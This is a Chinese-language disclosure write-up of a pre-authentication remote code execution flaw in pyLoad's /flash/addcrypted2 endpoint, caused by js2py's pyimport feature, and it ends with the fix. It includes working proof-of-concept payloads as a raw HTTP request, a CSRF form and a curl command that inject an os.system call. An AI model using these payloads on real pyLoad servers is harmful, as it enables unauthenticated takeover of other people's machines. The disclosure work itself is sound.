发现pyLoad中预认证RCE的故事
pyLoad版本0.5.0b3.dev31之前存在一个代码注入漏洞,通过滥用js2py的功能可实现预认证RCE。
pyLoad是一个用Python编写的开源下载管理器,可通过Web界面管理。截至2023年1月9日,其GitHub仓库约有2.8k星标。
在我审计pyLoad源代码时,以下代码引起了我的注意:
jk = eval_js(f"{jk} f()")
eval_js函数的定义如下:
def eval_js(script, es6=False):
# return requests_html.HTML().render(script=script, reload=False)
return (js2py.eval_js6 if es6 else js2py.eval_js)(script)
eval_js(f"{jk} f()")使用了js2py的功能,执行JavaScript代码f"{jk} f()",其中jk参数通过请求参数传入:
jk = flask.request.form["jk"]
因此,你可以通过请求该端点来运行任意JavaScript代码。
然而,如何利用它呢?在js2py.eval_js()的上下文中,XMLHttpRequest、fetch和require(如node.js)都没有定义,因此无法进行SSRF或读取本地文件。
经过一些时间,我发现了一个js2py的奇妙功能:
Finally, Js2Py also supports importing any Python code from JavaScript using 'pyimport' statement:
>>> x = """pyimport urllib;
var result = urllib.urlopen('https://www.google.com/').read();
console.log(result.length)
"""
>>> js2py.eval_js(x)
18211
undefined
通过使用此功能,你可以在js2py.eval_js()上下文中使用Python库!令人惊讶的是,pyimport默认是启用的。:o
我尝试了使用pyimport运行操作系统命令的简单代码:
$ ls /tmp/pwnd
ls: /tmp/pwnd: No such file or directory
$ python -c 'import js2py; js2py.eval_js("pyimport os; os.system(\"touch /tmp/pwnd\")")'
$ ls /tmp/pwnd
/tmp/pwnd
如预期的那样,touch /tmp/pwnd被执行了!
通过发送以下请求,目标主机上会发生相同的事情:
POST /flash/addcrypted2 HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
jk=pyimport%20os;os.system("touch%20/tmp/pwnd");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa
jk参数中的;f=function%20f2(){};部分是必需的,因为该端点运行eval_js(f"{jk} f()")。如果不加,注入的代码会因为name 'f' is not defined错误而无法执行。
注意,请求中不包含cookie和CSRF令牌。这意味着:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://<target>/flash/addcrypted2" method="POST">
<input type="hidden" name="package" value="xxx" />
<input type="hidden" name="crypted" value="AAAA" />
<input type="hidden" name="jk" value="pyimport os;os.system("touch /tmp/pwnd");f=function f2(){};" />
<input type="hidden" name="passwords" value="aaaa" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
curl -i -s -k -X $'POST' \
--data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
$'http://<target>/flash/addcrypted2'
只需禁用pyimport功能。
import js2py
+js2py.disable_pyimport()
感谢huntr.dev团队和pyLoad维护者的快速响应!